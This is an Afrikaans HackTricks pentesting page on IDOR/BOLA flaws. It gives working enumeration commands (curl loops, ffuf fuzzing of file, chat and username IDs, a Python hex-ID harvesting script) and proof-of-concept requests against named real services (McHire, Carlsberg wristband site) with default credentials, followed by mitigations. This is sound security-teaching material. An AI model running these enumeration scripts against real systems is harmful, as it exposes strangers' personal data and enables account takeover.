IDOR (Insecure Direct Object Reference)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer ’n web- of API-endpoint ’n deur die gebruiker beheerbare identifiseerder openbaar of aanvaar wat direk gebruik word om toegang te kry tot ’n interne objek sonder om te verifieer dat die aanroeper gemagtig is om daardie objek te toegang of te wysig. Suksesvolle uitbuiting laat gewoonlik horisontale of vertikale privilege-escalation toe, soos die lees of wysig van ander gebruikers se data en, in die ergste geval, volle account takeover of mass-data exfiltration.
1. Identifisering van potensiële IDORs
- Kyk na parameters wat na ’n objek verwys:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Gee voorkeur aan endpoints wat data lees of opdateer (
GET,PUT,PATCH,DELETE). - Let op wanneer identifiseerders opeenvolgend of voorspelbaar is – as jou ID
64185742is, bestaan64185741waarskynlik. - Verken versteekte of alternatiewe strome (bv. “Paradox team members” link op login-bladsye) wat ekstra APIs kan blootlê.
- Gebruik ’n geauthentiseerde lae-privilegie sessie en verander slegs die ID terwyl jy dieselfde token/cookie behou. Die afwesigheid van ’n authorization error is gewoonlik ’n teken van IDOR.
Vinnige handmatige manipulasie (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Outomatiese enumerasie (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Enumerasie van voorspelbare download-IDs (ffuf)
Geauthentiseerde lêerhosting-panele stoor dikwels per-gebruiker metadata in ’n enkele files tabel en openbaar ’n download-endpoint soos /download.php?id=<int>. As die handler slegs kontroleer of die ID bestaan (en nie of dit aan die geauthentiseerde gebruiker behoort nie), kan jy die heelgetal-ruimte met jou geldige session cookie deursoek en ander tenants se backups/configs steel:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frverwyder 404-agtige sjablone sodat slegs ware treffers oorbly (bv. IDs 54/150 leaking full site backups and signing material).- Dieselfde FFUF workflow werk met Burp Intruder of ’n curl-lus—verseker net dat jy geauthentiseer bly terwyl jy IDs verhoog.
Geauthentiseerde kombinatoriese enumerasie (ffuf + jq)
Sommige IDORs aanvaar multiple object IDs (bv. kletsdrade tussen twee gebruikers). As die app net kontroleer dat jy aangemeld is, kan jy albei IDs fuzz terwyl jy jou session cookie behou:
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
Verwerk dan die JSON-uitset met jq om simmetriese duplikate (A,B) vs (B,A) te verwyder en slegs unieke pare te behou:
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
Error-response oracle for user/file enumeration
Wanneer ’n download endpoint beide ’n username en ’n filename aanvaar (bv. /view.php?username=<u>&file=<f>), skep subtiele verskille in foutboodskappe dikwels ’n oracle:
- Nie-bestaande username → “User not found”
- Ongeldige filename maar geldige extension → “File does not exist” (soms lys dit ook beskikbare files)
- Slegte extension → validation error
Met enige authenticated session kan jy die username parameter fuzz terwyl jy ’n benign filename hou en op die “user not found” string filter om geldige gebruikers te ontdek:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Sodra geldige gebruikersname geïdentifiseer is, vra spesifieke lêers direk aan (bv. /view.php?username=amanda&file=privacy.odt). Hierdie patroon lei gewoonlik tot ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage.
2. Werklike Gevallestudie – McHire Chatbot Platform (2025)
Tydens ’n assessering van die Paradox.ai-powered McHire werwingsportaal is die volgende IDOR ontdek:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}– 8-digit, sequential numeric identifier
Deur die lead_id te verlaag het die tester ewekansige aansoekers se volle PII (naam, e-pos, telefoon, adres, skofvoorkeure) en ’n consumer JWT afgehaal wat session hijacking toegelaat het. Enumerasie van die reeks 1 – 64,185,742 het ongeveer 64 million rekords blootgestel.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
In kombinasie met default admin credentials (123456:123456) wat toegang tot die toetsrekening gegee het, het die kwesbaarheid gelei tot ’n kritieke, maatskappy-wye data breach.
Gevalstudie – Wristband QR codes as weak bearer tokens (2025–2026)
Vloei: Besoekers by die uitstalling het QR-gekodeerde polsbandjies ontvang; skandering van https://homeofcarlsberg.com/memories/ het die blaaier die printed wristband ID laat neem, dit hex-encode, en ’n cloudfunctions.net backend aangeroep om gestoor media (photos/videos + names) te haal. Daar was no session binding of user authentication—knowledge of the ID = authorization.
Voorspelbaarheid: Polsband-ID’s het ’n kort patroon gevolg soos C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Die sleutelruimte is beraam op ~26M kombinasies, triviaal om aanlyn uit te put.
Eksploitasie-werkvloei met Burp Intruder:
- Payload generation: Bou kandidaat-ID’s (bv.,
[A-Z]-###-###). Gebruik ’n Burp Intruder Pitchfork of Cluster Bomb attack met posisies vir die letter en syfers. Voeg ’n payload processing rule → Add prefix/suffix → payload encoding: ASCII hex by sodat elke versoek die hex string stuur wat deur die backend verwag word. - Response grep: Merk Intruder grep-match vir merkers wat slegs in geldige responses voorkom (bv., media URLs/JSON fields). Ongeldige ID’s het tipies ’n leë array/404 teruggegee.
- Throughput measurement: ~1,000,000 IDs is binne ~2 uur vanaf ’n laptop getoets (~139 req/s). By daardie tempo sou die volledige keyspace (~26M) binne ~52 uur geval het. Die voorbeeldrun het reeds ~500 geldige polsbandjies blootgelê (videos + volle name).
- Rate-limiting verification: Nadat die vendor throttling beweer het, is dieselfde Intruder-config weer gedraai. Identiese throughput/hit-rate het bewys dat die kontrole afwesig/ineffektief was; enumeration het onafgebreek voortgegaan.
Vinnige scriptbare variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Lesson: Kodering (ASCII→hex/Base64) voeg nie entropie by; kort IDs word bearer tokens wat steeds kan geënumereer word ondanks kosmetiese kodering. Sonder per-user authorization + hoë-entropie secrets, media/PII kan massaal ingesamel word selfs al word “rate limiting” beweer.
3. Impak van IDOR / BOLA
- Horizontale eskalasie – lees/opdateer/verwyder data van ander gebruikers.
- Vertikale eskalasie – laaggeprivilegieerde gebruiker kry admin-only funksionaliteit.
- Massa-datainbreuk indien identifiseerders sekwensieel is (bv. aansoeker-ID’s, fakture).
- Rekeningsoroornames deur tokens te steel of wagwoorde van ander gebruikers te reset.
4. Mitigerings & Best Practices
- Enforce object-level authorization op elke versoek (
user_id == session.user). - Verkies indirect, unguessable identifiers (UUIDv4, ULID) in plaas van auto-increment IDs.
- Voer authorization server-side uit; moenie op verborge form fields of UI controls staatmaak nie.
- Implementeer RBAC / ABAC kontroles in ’n sentrale middleware.
- Voeg rate-limiting & logging by om enumerasie van ID’s te detecteer.
- Toets die sekuriteit van elke nuwe endpoint (unit, integrasie, en DAST).
5. Gereedskap
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- 0xdf – HTB: Guardian
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


